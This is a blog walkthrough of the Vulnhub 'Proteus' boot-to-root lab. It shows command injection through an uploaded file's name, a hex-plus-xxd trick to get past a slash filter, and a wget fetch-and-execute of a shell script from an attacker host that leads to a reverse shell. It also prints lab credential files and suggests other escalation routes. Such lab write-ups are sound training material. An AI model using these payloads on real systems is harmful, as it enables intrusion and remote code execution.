The Proteus Challenge

Introduction

Hi, yet again, World Wide Web. Lately, I’ve been looking for boot to root challenges that haven’t been documented online. Recently, I found one on Vulnhub entitled “Proteus” that did not have any walkthroughs. So with that statement, I present you with the solution to the Proteus challenge. This thread will touch upon the following concepts:

  • Basic Linux Commands
  • Basic Linux System Files
  • HEX and ASCII Conversions

The pseudo scenario of this challenge pertains to an IT company that is implementing a malware analysis tool that scans potentially malicious files. It uses the strings and objdump commands to find more information about a file. The target IP is 192.168.0.14 and the attacking machine 192.168.0.16.

System Discovery

When I first discovered the Proteus’ IP address, the TCP scan I fired did not reveal anything too sensitive, showing only Apache and SSH broadcasting. Before I dove my web browser to the web page, I probed the SSH service only to find out that password based-authentication was not being used. This meant that brute forcing this service was out of the question due to the use of public key authentication by the Proteus box.

When I visited the web page, I was presented with the following depiction of the site.

I decided to investigate the malware analysis tool by this fictional company. One thing that caught my attention was the need to upload certain file types. The allowed MIME types were: application/x-executable, application/x-sharedlib. I decided to play along and see what happens. I made a really quick C program to upload.

#include 
int main()
{
printf("exec test");
};

The proceeding screen outputted the results for strings and objdump after I uploaded the file.

When I first saw this, my initial thought of exploitation was to either exploit the output of strings or objdump, or there was some sort of buffer overflow I had to abuse. Although a buffer overflow seems possible (based on the extensive testing done), I am not adept in binary exploitation, however, I did manage to get RCE.

Let’s face it, black-box-testing is difficult and one always has to speculate on the backend code. Any user input should be considered malicious, and I knew that the file I was uploading can be tampered with. If we are lucky, we should be able to mess around the naming structure and see if the statement used to get the malware samples on the page can also by taking advantage of.

Remote Code Execution

RCE is one of the most complex flaws to exploit because they are difficult to spot. On this challenge, I was able to execute arbitrary code and shell this box in a very peculiar way.

Going back to the Proteus home page, I decided to upload another malware sample but this time, catch the request on BURP and modify it. The end request looked as such:

Content-Disposition: form-data; name="file"; filename="test.exe;ls -la"

I let the request fly and the following page looked promising.

I was pleased to see this and my mind quickly formulated the next steps to gain access. Before I proceeded with anything premeditated, I was curious to see what was under /tmp. So crafted the following request:

Content-Disposition: form-data; name="file"; filename="test.exe;ls -la /tmp"

To my amazement, there was no output on the sample page. This confused me. I spend most of my time trying to figure out how to write files to other places in the system. There were 2 big problems I encountered.

1. Document root, and child folders, were not writeable.
2. I could not list anything outside of the document root.

Having RCE is great, however, if it cannot be used to gain access, it does not serve us much purpose. After 20 minutes of testing and critical thinking, I could only come up with one answer: input sanitation.

Bypassing RCE Restrictions

I can only assume that my forward slashes (/) were being escaped, or dropped, or replaced. So I had to come up with another method of getting shell without my command having a “/” in the payload. This challenge made me think, but I did manage to figure it out through several Linux pipes. Below is the workflow I tried to follow to successfully carry the attack.

1. Getting the shell script, putting it in /tmp, and executing it.
This got done by using: wget http://192.168.0.17/shell.txt -O /tmp/shell.txt; php -f /tmp/shell.txt

2. Bypassing the “/” filter.
I encoded the above command in HEX then decoded it with xxd, like so: echo 7767657420687474703a2f2f3139322e3136382e302e31372f7368656c6c2e747874202d4f202f746d702f7368656c6c2e7478743b20706870202d66202f746d702f7368656c6c2e747874 | xxd -r -p

3. Executing the decoded string (putting it all together).
echo 7767657420687474703a2f2f3139322e3136382e302e31372f7368656c6c2e747874202d4f202f746d702f7368656c6c2e7478743b20706870202d66202f746d702f7368656c6c2e747874 | xxd -r -p | xargs -0 bash -c

Getting a Shell!

The end request appears as shown:

A local Netcat listener was set and shortly after saluted me with a shell access to the box:

After some digging, I found useful files and links. The first thing I learned was that the server’s document root was a symbolic link to the home directory of the malwareadm user. The group file revealed an interesting detail.

root:x:0:
daemon:x:1:
bin:x:2:
sys:x:3:
adm:x:4:syslog,malwareadm
tty:x:5:
disk:x:6:
lp:x:7:
mail:x:8:
news:x:9:
uucp:x:10:
man:x:12:
proxy:x:13:
kmem:x:15:
dialout:x:20:
fax:x:21:
voice:x:22:
cdrom:x:24:malwareadm
floppy:x:25:
tape:x:26:
sudo:x:27:malwareadm
audio:x:29:
dip:x:30:malwareadm
www-data:x:33:
backup:x:34:
operator:x:37:
list:x:38:
irc:x:39:
src:x:40:
gnats:x:41:
shadow:x:42:
utmp:x:43:
video:x:44:
sasl:x:45:
plugdev:x:46:malwareadm
staff:x:50:
games:x:60:
users:x:100:
nogroup:x:65534:
systemd-journal:x:101:
systemd-timesync:x:102:
systemd-network:x:103:
systemd-resolve:x:104:
systemd-bus-proxy:x:105:
input:x:106:
crontab:x:107:
syslog:x:108:
messagebus:x:109:
netdev:x:110:
lxd:x:111:malwareadm
mlocate:x:112:
uuidd:x:113:
ssh:x:114:
malwareadm:x:1000:
lpadmin:x:115:malwareadm
sambashare:x:116:malwareadm
ssl-cert:x:117:
mysql:x:118:

The malwareadm user was part of some groups but most importantly part of the sudo group.

Capturing the Flag

After some recon, I found the following files that helped me through solving this challenge.

cat /home/malwareadm/sites/proteus_site/web/cfg/config.php

<?php

class Conf
{

    /* MySQL */
    const MYSQL_USERNAME    =   'root';
    const MYSQL_PASSWORD    =   'viWJ.cgdf&3a]d3xh;C/c]&c?';
    const MYSQL_HOST        =   '127.0.0.1';
    const MYSQL_DATABASE    =   'proteus_db';

    /* Application */
    const DEBUG                 =   false; 	                    //true/false
    const INSTALLED_DIRECTORY   =   '/';                        //something
    const MAIL_ALIAS		    =	'malwareadm@proteus.local';	//Something like user@internet.co.za
    const SECRET                =   'thisisthesecret';          //This is the secret to salt the hashes
    const FILE_PATH             =   '/home/malwareadm/samples/'; //This is the file path of where the execs will be saved
}

cat /home/malwareadm/sites/proteus_site/admin_login_request.js

// THIS IS JUST USED TO IMPERSONATE AN ADMIN FOR THE CHALLENGE

var username  = 'malwareadm';
var pwd = 'q-L%40X%21%7Bl_%278%7C%29o%3FQ%2BTapahQ%3C_';

var webPage = require('webpage');
var page = webPage.create();
var postBody = 'username=' + username + '&password=' + pwd;

page.open('http://127.0.0.1/samples', 'post', postBody, function (status) {
	if (status !== 'success') {
		console.log('Unable to post!');
	} else {
		console.log(JSON.stringify({
			cookies: phantom.cookies
		}));
	}
	phantom.exit();
});

These files revealed very crucial information to complete the challenge. These 2 files show the root password and also the malwareadm user password URL-encoded, decoded being “q-L@X!{l_’8|)o?Q+TapahQ<_”. It also shows the salt used for the password which can be used for cracking (not my cup of tea for this challenge). At this point, all we have to do is switch to the malwareadm user. I was having issues changing my shell from sh, so I used Python to get a bash shell to complete this transition.

The flag is actually a picture.

This completes the challenge, very humorously.

Conclusion

To end things, this is probably the easiest way to complete this box. I am convinced there are other methods to obtain the flag. I noticed one of the files that I had access to have the SETUID bit enabled, I am sure exploiting this binary is another way to get the flag. Additionally, we have database access. We can potentially escalate privileges through a malicious UDF. Brute forcing local accounts can also be another method of solving this machine. As far as I can see, there are different routes to complete this challenge. I am looking forward to explore and publish other ways to complete this when I have more time.

Nonetheless, I really enjoyed every bit of this challenge and I’m looking forward to other ones! I hope you enjoyed reading my ramblings.

Happy hacking!

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google+ photo

You are commenting using your Google+ account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

w

Connecting to %s